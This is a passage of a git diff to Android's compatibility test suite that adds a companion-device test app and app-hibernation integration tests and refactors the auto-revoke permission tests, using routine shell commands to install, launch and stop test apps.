+            })
+            addView(Button(ctx).apply {
+                text = "Disassociate"
+                setOnClickListener {
+                    cdm.associations.forEach { address ->
+                        toast("Disassociating $address")
+                        cdm.disassociate(address)
+                    }
+                }
+            })
+
+            addView(Button(ctx).apply {
+                text = "Register PresenceListener"
+                setOnClickListener {
+                    cdm.associations.forEach { address ->
+                        toast("startObservingDevicePresence $address")
+                        cdm.startObservingDevicePresence(address)
+                    }
+                }
+            })
+        })
+    }
+
+    private fun cdmButton(label: String, initReq: AssociationRequest.Builder.() -> Unit): Button {
+        return Button(ctx).apply {
+            text = label
+
+            setOnClickListener {
+                cdm.associate(AssociationRequest.Builder()
+                        .apply { initReq() }
+                        .build(),
+                        object : CompanionDeviceManager.Callback() {
+                            override fun onFailure(error: CharSequence?) {
+                                toast("error: $error")
+                            }
+
+                            override fun onDeviceFound(chooserLauncher: IntentSender?) {
+                                toast("launching $chooserLauncher")
+                                chooserLauncher?.let {
+                                    startIntentSenderForResult(it, REQUEST_CODE_CDM, null, 0, 0, 0)
+                                }
+                            }
+                        },
+                        mainHandler)
+            }
+        }
+    }
+
+    override fun onActivityResult(requestCode: Int, resultCode: Int, data: Intent?) {
+        if (requestCode == REQUEST_CODE_CDM) {
+            device = getDevice(data)
+            toast("result code: $resultCode, device: $device")
+        }
+        super.onActivityResult(requestCode, resultCode, data)
+    }
+
+    private fun getDevice(data: Intent?): BluetoothDevice? {
+        val rawDevice = data?.getParcelableExtra<Parcelable?>(CompanionDeviceManager.EXTRA_DEVICE)
+        return when (rawDevice) {
+            is BluetoothDevice -> rawDevice
+            is ScanResult -> rawDevice.device
+            else -> null
+        }
+    }
+
+    override fun onResume() {
+        super.onResume()
+        refresh()
+    }
+
+    private fun refresh() {
+        associationStatus.text = "Have associations: ${cdm.associations.isNotEmpty()}"
+
+        permissionStatus.text = "Phone granted: ${
+                checkPermission(CALL_PHONE, Process.myPid(), Process.myUid()) ==
+                        PackageManager.PERMISSION_GRANTED}"
+
+        notificationsStatus.postDelayed({
+            notificationsStatus.text = "Notifications granted: ${
+            try {
+                cdm.hasNotificationAccess(
+                        ComponentName.createRelative(this, NotificationListener::class.java.name))
+            } catch (e: Exception) {
+                toast("" + e.message)
+                false
+            }
+            }"
+        }, 1000)
+    }
+
+    companion object {
+        const val REQUEST_CODE_CDM = 1
+    }
+}
+
+fun Context.toast(msg: String) {
+    Log.i("CompanionDeviceManagerTest", "toast: $msg")
+    Toast.makeText(this, msg, Toast.LENGTH_LONG).show()
+}
+
+val Context.ctx get() = this
diff --git a/tests/tests/os/CompanionTestApp/src/android/os/cts/companiontestapp/DevicePresenceListener.kt b/tests/tests/os/CompanionTestApp/src/android/os/cts/companiontestapp/DevicePresenceListener.kt
new file mode 100644
index 0000000..ab479bb
--- /dev/null
+++ b/tests/tests/os/CompanionTestApp/src/android/os/cts/companiontestapp/DevicePresenceListener.kt
@@ -0,0 +1,30 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.os.cts.companiontestapp
+
+import android.companion.CompanionDeviceService
+
+class DevicePresenceListener : CompanionDeviceService() {
+
+    override fun onDeviceAppeared(address: String) {
+        toast("Device appeared: $address")
+    }
+
+    override fun onDeviceDisappeared(address: String) {
+        toast("Device disappeared: $address")
+    }
+}
\ No newline at end of file
diff --git a/tests/tests/os/CompanionTestApp/src/android/os/cts/companiontestapp/NotificationListener.kt b/tests/tests/os/CompanionTestApp/src/android/os/cts/companiontestapp/NotificationListener.kt
new file mode 100644
index 0000000..58c562e
--- /dev/null
+++ b/tests/tests/os/CompanionTestApp/src/android/os/cts/companiontestapp/NotificationListener.kt
@@ -0,0 +1,35 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.os.cts.companiontestapp
+
+import android.service.notification.NotificationListenerService
+import android.service.notification.StatusBarNotification
+
+class NotificationListener : NotificationListenerService() {
+
+    override fun onListenerConnected() {
+        for (activeNotification in activeNotifications) {
+            onNotificationPosted(activeNotification)
+        }
+    }
+
+    override fun onNotificationPosted(sbn: StatusBarNotification) {
+        super.onNotificationPosted(sbn)
+
+        toast("Notification detected: ${sbn.packageName}: ${sbn.notification.tickerText}")
+    }
+}
\ No newline at end of file
diff --git a/tests/tests/os/CtsOsTestCases.xml b/tests/tests/os/CtsOsTestCases.xml
index 1d4b393..cf17162 100644
--- a/tests/tests/os/CtsOsTestCases.xml
+++ b/tests/tests/os/CtsOsTestCases.xml
@@ -19,20 +19,11 @@
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <object type="module_controller" class="com.android.tradefed.testtype.suite.module.Sdk30ModuleController" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsOsTestCases.apk" />
     </target_preparer>
-    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
-        <option name="cleanup-apks" value="true" />
-        <option name="force-install-mode" value="FULL"/>
-        <option name="test-file-name" value="CtsMockInputMethod.apk" />
-    </target_preparer>
-    <target_preparer class="com.android.tradefed.targetprep.DeviceSetup">
-        <option name="force-skip-system-props" value="true" />
-        <option name="screen-always-on" value="on" />
-    </target_preparer>
-
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.os.cts" />
         <option name="runtime-hint" value="3m15s" />
@@ -51,7 +42,9 @@
     </target_preparer>
     <!-- Load additional APKs onto device -->
     <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
-        <option name="push" value="CtsAutoRevokeDummyApp.apk->/data/local/tmp/cts/os/CtsAutoRevokeDummyApp.apk" />
-        <option name="push" value="CtsAutoRevokePreRApp.apk->/data/local/tmp/cts/os/CtsAutoRevokePreRApp.apk" />
+        <option name="push" value="CtsAutoRevokeSApp.apk->/data/local/tmp/cts/os/CtsAutoRevokeSApp.apk" />
+        <option name="push" value="CtsAutoRevokeRApp.apk->/data/local/tmp/cts/os/CtsAutoRevokeRApp.apk" />
+        <option name="push" value="CtsAutoRevokeQApp.apk->/data/local/tmp/cts/os/CtsAutoRevokeQApp.apk" />
+        <option name="push" value="CtsCompanionTestApp.apk->/data/local/tmp/cts/os/CtsCompanionTestApp.apk" />
     </target_preparer>
 </configuration>
diff --git a/tests/tests/os/src/android/os/cts/AppHibernationIntegrationTest.kt b/tests/tests/os/src/android/os/cts/AppHibernationIntegrationTest.kt
new file mode 100644
index 0000000..96f4592
--- /dev/null
+++ b/tests/tests/os/src/android/os/cts/AppHibernationIntegrationTest.kt
@@ -0,0 +1,127 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.os.cts
+
+import android.app.Instrumentation
+import android.content.Context
+import android.content.pm.ApplicationInfo
+import android.content.pm.PackageManager
+import android.provider.DeviceConfig.NAMESPACE_APP_HIBERNATION
+import android.support.test.uiautomator.By
+import android.support.test.uiautomator.BySelector
+import android.support.test.uiautomator.UiObject2
+import androidx.test.InstrumentationRegistry
+import androidx.test.runner.AndroidJUnit4
+import com.android.compatibility.common.util.SystemUtil.runShellCommandOrThrow
+import org.hamcrest.CoreMatchers
+import org.junit.Assert.assertFalse
+import org.junit.Assert.assertThat
+import org.junit.Assert.assertTrue
+import org.junit.Before
+import org.junit.Test
+import org.junit.runner.RunWith
+
+/**
+ * Integration test for app hibernation.
+ */
+@RunWith(AndroidJUnit4::class)
+class AppHibernationIntegrationTest {
+    companion object {
+        const val LOG_TAG = "AppHibernationIntegrationTest"
+        const val WAIT_TIME_MS = 1000L
+    }
+    private val context: Context = InstrumentationRegistry.getTargetContext()
+    private val instrumentation: Instrumentation = InstrumentationRegistry.getInstrumentation()
+
+    private lateinit var packageManager: PackageManager
+
+    @Before
+    fun setup() {
+        packageManager = context.packageManager
+
+        // Collapse notifications
+        assertThat(
+            runShellCommandOrThrow("cmd statusbar collapse"),
+            CoreMatchers.equalTo(""))
+
+        // Wake up the device
+        runShellCommandOrThrow("input keyevent KEYCODE_WAKEUP")
+        runShellCommandOrThrow("input keyevent 82")
+    }
+
+    @Test
+    fun testUnusedApp_getsForceStopped() {
+        withDeviceConfig(NAMESPACE_APP_HIBERNATION, "app_hibernation_enabled", "true") {
+            withUnusedThresholdMs(1) {
+                withApp(APK_PATH_S_APP, APK_PACKAGE_NAME_S_APP) {
+                    // Use app
+                    startApp(APK_PACKAGE_NAME_S_APP)
+                    Thread.sleep(WAIT_TIME_MS)
+                    runShellCommandOrThrow("input keyevent KEYCODE_BACK")
+                    runShellCommandOrThrow("input keyevent KEYCODE_BACK")
+                    Thread.sleep(WAIT_TIME_MS)
+                    runShellCommandOrThrow("am kill $APK_PACKAGE_NAME_S_APP")
+                    Thread.sleep(WAIT_TIME_MS)
+
+                    // Run job
+                    runAppHibernationJob(context, LOG_TAG)
+                    Thread.sleep(WAIT_TIME_MS)
+
+                    // Verify
+                    val ai =
+                        packageManager.getApplicationInfo(APK_PACKAGE_NAME_S_APP, 0 /* flags */)
+                    val stopped = ((ai.flags and ApplicationInfo.FLAG_STOPPED) != 0)
+                    assertTrue(stopped)
+                    runShellCommandOrThrow("cmd statusbar expand-notifications")
+                    waitFindObject(By.textContains("unused app"))
+                        .click()
+                    waitFindObject(By.text(APK_PACKAGE_NAME_S_APP))
+                }
+            }
+        }
+    }
+
+    @Test
+    fun testPreSVersionUnusedApp_doesntGetForceStopped() {
+        withUnusedThresholdMs(1) {
+            withApp(APK_PATH_R_APP, APK_PACKAGE_NAME_R_APP) {
+                // Use app
+                startApp(APK_PACKAGE_NAME_R_APP)
+                Thread.sleep(WAIT_TIME_MS)
+                runShellCommandOrThrow("input keyevent KEYCODE_BACK")
+                runShellCommandOrThrow("input keyevent KEYCODE_BACK")
+                Thread.sleep(WAIT_TIME_MS)
+                runShellCommandOrThrow("am kill $APK_PACKAGE_NAME_R_APP")
+                Thread.sleep(WAIT_TIME_MS)
+
+                // Run job
+                runAppHibernationJob(context, LOG_TAG)
+                Thread.sleep(WAIT_TIME_MS)
+
+                // Verify
+                val ai =
+                    packageManager.getApplicationInfo(APK_PACKAGE_NAME_R_APP, 0 /* flags */)
+                val stopped = ((ai.flags and ApplicationInfo.FLAG_STOPPED) != 0)
+                assertFalse(stopped)
+            }
+        }
+    }
+
+    private fun waitFindObject(selector: BySelector): UiObject2 {
+        return waitFindObject(instrumentation.uiAutomation, selector)
+    }
+}
diff --git a/tests/tests/os/src/android/os/cts/AppHibernationUtils.kt b/tests/tests/os/src/android/os/cts/AppHibernationUtils.kt
new file mode 100644
index 0000000..c2bd254
--- /dev/null
+++ b/tests/tests/os/src/android/os/cts/AppHibernationUtils.kt
@@ -0,0 +1,164 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.os.cts
+
+import android.app.ActivityManager
+import android.app.ActivityManager.RunningAppProcessInfo.IMPORTANCE_TOP_SLEEPING
+import android.app.Instrumentation
+import android.app.UiAutomation
+import android.content.Context
+import android.os.ParcelFileDescriptor
+import android.os.Process
+import android.provider.DeviceConfig
+import android.support.test.uiautomator.BySelector
+import android.support.test.uiautomator.UiObject2
+import androidx.test.InstrumentationRegistry
+import com.android.compatibility.common.util.LogcatInspector
+import com.android.compatibility.common.util.SystemUtil.eventually
+import com.android.compatibility.common.util.SystemUtil.runShellCommand
+import com.android.compatibility.common.util.SystemUtil.runShellCommandOrThrow
+import com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity
+import com.android.compatibility.common.util.ThrowingSupplier
+import com.android.compatibility.common.util.UiAutomatorUtils
+import com.android.compatibility.common.util.click
+import com.android.compatibility.common.util.depthFirstSearch
+import com.android.compatibility.common.util.textAsString
+import org.hamcrest.CoreMatchers
+import org.hamcrest.Matcher
+import org.hamcrest.Matchers
+import org.junit.Assert.assertThat
+import java.io.InputStream
+
+const val APK_PATH_S_APP = "/data/local/tmp/cts/os/CtsAutoRevokeSApp.apk"
+const val APK_PACKAGE_NAME_S_APP = "android.os.cts.autorevokesapp"
+const val APK_PATH_R_APP = "/data/local/tmp/cts/os/CtsAutoRevokeRApp.apk"
+const val APK_PACKAGE_NAME_R_APP = "android.os.cts.autorevokerapp"
+const val APK_PATH_Q_APP = "/data/local/tmp/cts/os/CtsAutoRevokeQApp.apk"
+const val APK_PACKAGE_NAME_Q_APP = "android.os.cts.autorevokeqapp"
+
+fun runAppHibernationJob(context: Context, tag: String) {
+    val logcat = Logcat()
+
+    // Sometimes first run observes stale package data
+    // so run twice to prevent that
+    repeat(2) {
+        val mark = logcat.mark(tag)
+        eventually {
+            runShellCommandOrThrow("cmd jobscheduler run -u " +
+                "${Process.myUserHandle().identifier} -f " +
+                "${context.packageManager.permissionControllerPackageName} 2")
+        }
+        logcat.assertLogcatContainsInOrder("*:*", 30_000,
+            mark,
+            "onStartJob",
+            "Done auto-revoke for user")
+    }
+}
+
+inline fun withApp(
+    apk: String,
+    packageName: String,
+    action: () -> Unit
+) {
+    installApk(apk)
+    try {
+        // Try to reduce flakiness caused by new package update not propagating in time
+        Thread.sleep(1000)
+        action()
+    } finally {
+        uninstallApp(packageName)
+    }
+}
+
+inline fun <T> withDeviceConfig(
+    namespace: String,
+    name: String,
+    value: String,
+    action: () -> T
+): T {
+    val oldValue = runWithShellPermissionIdentity(ThrowingSupplier {
+        DeviceConfig.getProperty(namespace, name)
+    })
+    try {
+        runWithShellPermissionIdentity {
+            DeviceConfig.setProperty(namespace, name, value, false /* makeDefault */)
+        }
+        return action()
+    } finally {
+        runWithShellPermissionIdentity {
+            DeviceConfig.setProperty(namespace, name, oldValue, false /* makeDefault */)
+        }
+    }
+}
+
+inline fun <T> withUnusedThresholdMs(threshold: Long, action: () -> T): T {
+    return withDeviceConfig(
+        DeviceConfig.NAMESPACE_PERMISSIONS, "auto_revoke_unused_threshold_millis2",
+        threshold.toString(), action)
+}
+
+fun awaitAppState(pkg: String, stateMatcher: Matcher<Int>) {
+    val context: Context = InstrumentationRegistry.getTargetContext()
+    eventually {
+        runWithShellPermissionIdentity {
+            val packageImportance = context
+                .getSystemService(ActivityManager::class.java)!!
+                .getPackageImportance(pkg)
+            assertThat(packageImportance, stateMatcher)
+        }
+    }
+}
+
+fun startApp(packageName: String) {
+    assertThat(
+        runShellCommand("monkey -p $packageName -c android.intent.category.LAUNCHER 1"),
+        CoreMatchers.containsString("Events injected: 1"))
+    awaitAppState(packageName, Matchers.lessThanOrEqualTo(IMPORTANCE_TOP_SLEEPING))
+    waitForIdle()
+}
+
+fun waitFindObject(uiAutomation: UiAutomation, selector: BySelector): UiObject2 {
+    try {
+        return UiAutomatorUtils.waitFindObject(selector)
+    } catch (e: RuntimeException) {
+        val ui = uiAutomation.rootInActiveWindow
+
+        val title = ui.depthFirstSearch { node ->
+            node.viewIdResourceName?.contains("alertTitle") == true
+        }
+        val okButton = ui.depthFirstSearch { node ->
+            node.textAsString?.equals("OK", ignoreCase = true) ?: false
+        }
+
+        if (title?.text?.toString() == "Android System" && okButton != null) {
+            // Auto dismiss occasional system dialogs to prevent interfering with the test
+            android.util.Log.w(AutoRevokeTest.LOG_TAG, "Ignoring exception", e)
+            okButton.click()
+            return UiAutomatorUtils.waitFindObject(selector)
+        } else {
+            throw e
+        }
+    }
+}
+
+class Logcat() : LogcatInspector() {
+    override fun executeShellCommand(command: String?): InputStream {
+        val instrumentation: Instrumentation = InstrumentationRegistry.getInstrumentation()
+        return ParcelFileDescriptor.AutoCloseInputStream(
+            instrumentation.uiAutomation.executeShellCommand(command))
+    }
+}
diff --git a/tests/tests/os/src/android/os/cts/AutoRevokeTest.kt b/tests/tests/os/src/android/os/cts/AutoRevokeTest.kt
index 44a5444..d881de5 100644
--- a/tests/tests/os/src/android/os/cts/AutoRevokeTest.kt
+++ b/tests/tests/os/src/android/os/cts/AutoRevokeTest.kt
@@ -16,6 +16,7 @@
 
 package android.os.cts
 
+import android.app.ActivityManager.RunningAppProcessInfo.IMPORTANCE_TOP_SLEEPING
 import android.app.Instrumentation
 import android.content.Context
 import android.content.Intent
@@ -27,20 +28,21 @@
 import android.content.res.Resources
 import android.net.Uri
 import android.platform.test.annotations.AppModeFull
-import android.provider.DeviceConfig
 import android.support.test.uiautomator.By
 import android.support.test.uiautomator.BySelector
 import android.support.test.uiautomator.UiObject2
 import android.view.accessibility.AccessibilityNodeInfo
+import android.view.accessibility.AccessibilityNodeInfo.ACTION_SCROLL_FORWARD
 import android.widget.Switch
 import androidx.test.InstrumentationRegistry
 import androidx.test.runner.AndroidJUnit4
 import com.android.compatibility.common.util.MatcherUtils.hasTextThat
 import com.android.compatibility.common.util.SystemUtil
-import com.android.compatibility.common.util.SystemUtil.runShellCommand
+import com.android.compatibility.common.util.SystemUtil.eventually
+import com.android.compatibility.common.util.SystemUtil.getEventually
+import com.android.compatibility.common.util.SystemUtil.runShellCommandOrThrow
 import com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity
-import com.android.compatibility.common.util.ThrowingSupplier
-import com.android.compatibility.common.util.UiAutomatorUtils
+import com.android.compatibility.common.util.UI_ROOT
 import com.android.compatibility.common.util.click
 import com.android.compatibility.common.util.depthFirstSearch
 import com.android.compatibility.common.util.lowestCommonAncestor
@@ -50,10 +52,12 @@
 import org.hamcrest.CoreMatchers.containsStringIgnoringCase
 import org.hamcrest.CoreMatchers.equalTo
 import org.hamcrest.Matcher
+import org.hamcrest.Matchers.greaterThan
 import org.junit.Assert.assertEquals
 import org.junit.Assert.assertFalse
 import org.junit.Assert.assertThat
 import org.junit.Assert.assertTrue
+import org.junit.Assume.assumeFalse
 import org.junit.Before
 import org.junit.Test
 import org.junit.runner.RunWith
@@ -62,10 +66,6 @@
 import java.util.concurrent.atomic.AtomicReference
 import java.util.regex.Pattern
 
-private const val APK_PATH = "/data/local/tmp/cts/os/CtsAutoRevokeDummyApp.apk"
-private const val APK_PACKAGE_NAME = "android.os.cts.autorevokedummyapp"
-private const val APK_PATH_2 = "/data/local/tmp/cts/os/CtsAutoRevokePreRApp.apk"
-private const val APK_PACKAGE_NAME_2 = "android.os.cts.autorevokeprerapp"
 private const val READ_CALENDAR = "android.permission.READ_CALENDAR"
 
 /**
@@ -80,26 +80,37 @@
     private val mPermissionControllerResources: Resources = context.createPackageContext(
             context.packageManager.permissionControllerPackageName, 0).resources
 
+    private lateinit var supportedApkPath: String
+    private lateinit var supportedAppPackageName: String
+    private lateinit var preMinVersionApkPath: String
+    private lateinit var preMinVersionAppPackageName: String
+
     companion object {
         const val LOG_TAG = "AutoRevokeTest"
     }
 
     @Before
     fun setup() {
-        // Kill Permission Controller
-        assertThat(
-                runShellCommand("killall " +
-                        context.packageManager.permissionControllerPackageName),
-                equalTo(""))
-
         // Collapse notifications
         assertThat(
-                runShellCommand("cmd statusbar collapse"),
+                runShellCommandOrThrow("cmd statusbar collapse"),
                 equalTo(""))
 
         // Wake up the device
-        runShellCommand("input keyevent KEYCODE_WAKEUP")
-        runShellCommand("input keyevent 82")
+        runShellCommandOrThrow("input keyevent KEYCODE_WAKEUP")
+        runShellCommandOrThrow("input keyevent 82")
+
+        if (isAutomotiveDevice()) {
+            supportedApkPath = APK_PATH_S_APP
+            supportedAppPackageName = APK_PACKAGE_NAME_S_APP
+            preMinVersionApkPath = APK_PATH_R_APP
+            preMinVersionAppPackageName = APK_PACKAGE_NAME_R_APP
+        } else {
+            supportedApkPath = APK_PATH_R_APP
+            supportedAppPackageName = APK_PACKAGE_NAME_R_APP
+            preMinVersionApkPath = APK_PATH_Q_APP
+            preMinVersionAppPackageName = APK_PACKAGE_NAME_Q_APP
+        }
     }
 
     @AppModeFull(reason = "Uses separate apps for testing")
@@ -110,25 +121,19 @@
                 // Setup
                 startApp()
                 clickPermissionAllow()
-                eventually {
-                    assertPermission(PERMISSION_GRANTED)
-                }
-                goBack()
-                goHome()
-                goBack()
+                assertPermission(PERMISSION_GRANTED)
+                killDummyApp()
                 Thread.sleep(5)
 
                 // Run
-                runAutoRevoke()
+                runAppHibernationJob(context, LOG_TAG)
 
                 // Verify
-                eventually {
-                    assertPermission(PERMISSION_DENIED)
-                }
-                runShellCommand("cmd statusbar expand-notifications")
+                assertPermission(PERMISSION_DENIED)
+                runShellCommandOrThrow("cmd statusbar expand-notifications")
                 waitFindObject(By.textContains("unused app"))
                         .click()
-                waitFindObject(By.text(APK_PACKAGE_NAME))
+                waitFindObject(By.text(supportedAppPackageName))
                 waitFindObject(By.text("Calendar permission removed"))
             }
         }
@@ -142,14 +147,12 @@
                 // Setup
                 startApp()
                 clickPermissionAllow()
-                eventually {
-                    assertPermission(PERMISSION_GRANTED)
-                }
-                goHome()
+                assertPermission(PERMISSION_GRANTED)
+                killDummyApp()
                 Thread.sleep(5)
 
                 // Run
-                runAutoRevoke()
+                runAppHibernationJob(context, LOG_TAG)
                 Thread.sleep(1000)
 
                 // Verify
@@ -160,40 +163,30 @@
 
     @AppModeFull(reason = "Uses separate apps for testing")
     @Test
-    fun testPreRUnusedApp_doesntGetPermissionRevoked() {
+    fun testPreMinAutoRevokeVersionUnusedApp_doesntGetPermissionRevoked() {
         withUnusedThresholdMs(3L) {
-            withDummyApp(APK_PATH_2, APK_PACKAGE_NAME_2) {
+            withDummyApp(preMinVersionApkPath, preMinVersionAppPackageName) {
                 withDummyApp {
-                    startApp(APK_PACKAGE_NAME_2)
+                    startApp(preMinVersionAppPackageName)
                     clickPermissionAllow()
-                    eventually {
-                        assertPermission(PERMISSION_GRANTED, APK_PACKAGE_NAME_2)
-                    }
+                    assertPermission(PERMISSION_GRANTED, preMinVersionAppPackageName)
 
-                    goBack()
-                    goHome()
-                    goBack()
+                    killDummyApp(preMinVersionAppPackageName)
 
                     startApp()
                     clickPermissionAllow()
-                    eventually {
-                        assertPermission(PERMISSION_GRANTED)
-                    }
+                    assertPermission(PERMISSION_GRANTED)
 
-                    goBack()
-                    goHome()
-                    goBack()
+                    killDummyApp()
                     Thread.sleep(20)
 
                     // Run
-                    runAutoRevoke()
+                    runAppHibernationJob(context, LOG_TAG)
                     Thread.sleep(500)
 
                     // Verify
-                    eventually {
-                        assertPermission(PERMISSION_DENIED)
-                        assertPermission(PERMISSION_GRANTED, APK_PACKAGE_NAME_2)
-                    }
+                    assertPermission(PERMISSION_DENIED)
+                    assertPermission(PERMISSION_GRANTED, preMinVersionAppPackageName)
                 }
             }
         }
@@ -201,36 +194,37 @@
 
     @AppModeFull(reason = "Uses separate apps for testing")
     @Test
-    fun testAutoRevoke_userWhitelisting() {
+    fun testAutoRevoke_userAllowlisting() {
+        assumeFalse(context.packageManager.hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE))
         withUnusedThresholdMs(4L) {
             withDummyApp {
                 // Setup
                 startApp()
                 clickPermissionAllow()
-                assertWhitelistState(false)
+                assertAllowlistState(false)
 
                 // Verify
-                waitFindObject(byTextIgnoreCase("Request whitelist")).click()
+                waitFindObject(byTextIgnoreCase("Request allowlist")).click()
                 waitFindObject(byTextIgnoreCase("Permissions")).click()
-                val autoRevokeEnabledToggle = getWhitelistToggle()
+                val autoRevokeEnabledToggle = getAllowlistToggle()
                 assertTrue(autoRevokeEnabledToggle.isChecked)
 
-                // Grant whitelist
+                // Grant allowlist
                 autoRevokeEnabledToggle.click()
                 eventually {
-                    assertFalse(getWhitelistToggle().isChecked)
+                    assertFalse(getAllowlistToggle().isChecked)
                 }
 
                 // Run
                 goBack()
                 goBack()
                 goBack()
-                runAutoRevoke()
+                runAppHibernationJob(context, LOG_TAG)
                 Thread.sleep(500L)
 
                 // Verify
                 startApp()
-                assertWhitelistState(true)
+                assertAllowlistState(true)
                 assertPermission(PERMISSION_GRANTED)
             }
         }
@@ -245,16 +239,13 @@
                 goToPermissions()
                 click("Calendar")
                 click("Allow")
-                Thread.sleep(500)
+                assertPermission(PERMISSION_GRANTED)
                 goBack()
                 goBack()
                 goBack()
-                eventually {
-                    assertPermission(PERMISSION_GRANTED)
-                }
 
                 // Run
-                runAutoRevoke()
+                runAppHibernationJob(context, LOG_TAG)
                 Thread.sleep(500)
 
                 // Verify
@@ -265,86 +256,66 @@
 
     @AppModeFull(reason = "Uses separate apps for testing")
     @Test
-    fun testAutoRevoke_whitelistingApis() {
+    fun testAutoRevoke_allowlistingApis() {
         withDummyApp {
             val pm = context.packageManager
             runWithShellPermissionIdentity {
-                assertFalse(pm.isAutoRevokeWhitelisted(APK_PACKAGE_NAME))
+                assertFalse(pm.isAutoRevokeWhitelisted(supportedAppPackageName))
             }
 
             runWithShellPermissionIdentity {
-                assertTrue(pm.setAutoRevokeWhitelisted(APK_PACKAGE_NAME, true))
+                assertTrue(pm.setAutoRevokeWhitelisted(supportedAppPackageName, true))
             }
             eventually {
                 runWithShellPermissionIdentity {
-                    assertTrue(pm.isAutoRevokeWhitelisted(APK_PACKAGE_NAME))
+                    assertTrue(pm.isAutoRevokeWhitelisted(supportedAppPackageName))
                 }
             }
 
             runWithShellPermissionIdentity {
-                assertTrue(pm.setAutoRevokeWhitelisted(APK_PACKAGE_NAME, false))
+                assertTrue(pm.setAutoRevokeWhitelisted(supportedAppPackageName, false))
             }
             eventually {
                 runWithShellPermissionIdentity {
-                    assertFalse(pm.isAutoRevokeWhitelisted(APK_PACKAGE_NAME))
+                    assertFalse(pm.isAutoRevokeWhitelisted(supportedAppPackageName))
                 }
             }
         }
     }
 
-    private fun runAutoRevoke() {
-        runShellCommand("cmd jobscheduler run -u 0 " +
-                "-f ${context.packageManager.permissionControllerPackageName} 2")
+    private fun isAutomotiveDevice(): Boolean {
+        return context.packageManager.hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE)
     }
 
-    private inline fun <T> withDeviceConfig(
-        namespace: String,
-        name: String,
-        value: String,
-        action: () -> T
-    ): T {
-        val oldValue = runWithShellPermissionIdentity(ThrowingSupplier {
-            DeviceConfig.getProperty(namespace, name)
-        })
-        try {
-            runWithShellPermissionIdentity {
-                DeviceConfig.setProperty(namespace, name, value, false /* makeDefault */)
-            }
-            return action()
-        } finally {
-            runWithShellPermissionIdentity {
-                DeviceConfig.setProperty(namespace, name, oldValue, false /* makeDefault */)
-            }
-        }
+    private fun installApp() {
+        installApk(supportedApkPath)
     }
 
-    private inline fun <T> withUnusedThresholdMs(threshold: Long, action: () -> T): T {
-        return withDeviceConfig(
-                "permissions", "auto_revoke_unused_threshold_millis2", threshold.toString(), action)
+    private fun uninstallApp() {
+        uninstallApp(supportedAppPackageName)
     }
 
-    private fun installApp(apk: String = APK_PATH) {
-        assertThat(runShellCommand("pm install -r $apk"), containsString("Success"))
-    }
-
-    private fun uninstallApp(packageName: String = APK_PACKAGE_NAME) {
-        assertThat(runShellCommand("pm uninstall $packageName"), containsString("Success"))
-    }
-
-    private fun startApp(packageName: String = APK_PACKAGE_NAME) {
-        runShellCommand("am start -n $packageName/$packageName.MainActivity")
+    private fun startApp() {
+        startApp(supportedAppPackageName)
     }
 
     private fun goHome() {
-        runShellCommand("input keyevent KEYCODE_HOME")
+        runShellCommandOrThrow("input keyevent KEYCODE_HOME")
     }
 
     private fun goBack() {
-        runShellCommand("input keyevent KEYCODE_BACK")
+        runShellCommandOrThrow("input keyevent KEYCODE_BACK")
+    }
+
+    private fun killDummyApp(pkg: String = supportedAppPackageName) {
+        assertThat(
+                runShellCommandOrThrow("am force-stop " + pkg),
+                equalTo(""))
+        awaitAppState(pkg, greaterThan(IMPORTANCE_TOP_SLEEPING))
     }
 
     private fun clickPermissionAllow() {
-        if (context.getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE)) {
+        if (isAutomotiveDevice()) {
             waitFindObject(By.text(Pattern.compile(
                     Pattern.quote(mPermissionControllerResources.getString(
                             mPermissionControllerResources.getIdentifier(
@@ -358,30 +329,18 @@
     }
 
     private inline fun withDummyApp(
-        apk: String = APK_PATH,
-        packageName: String = APK_PACKAGE_NAME,
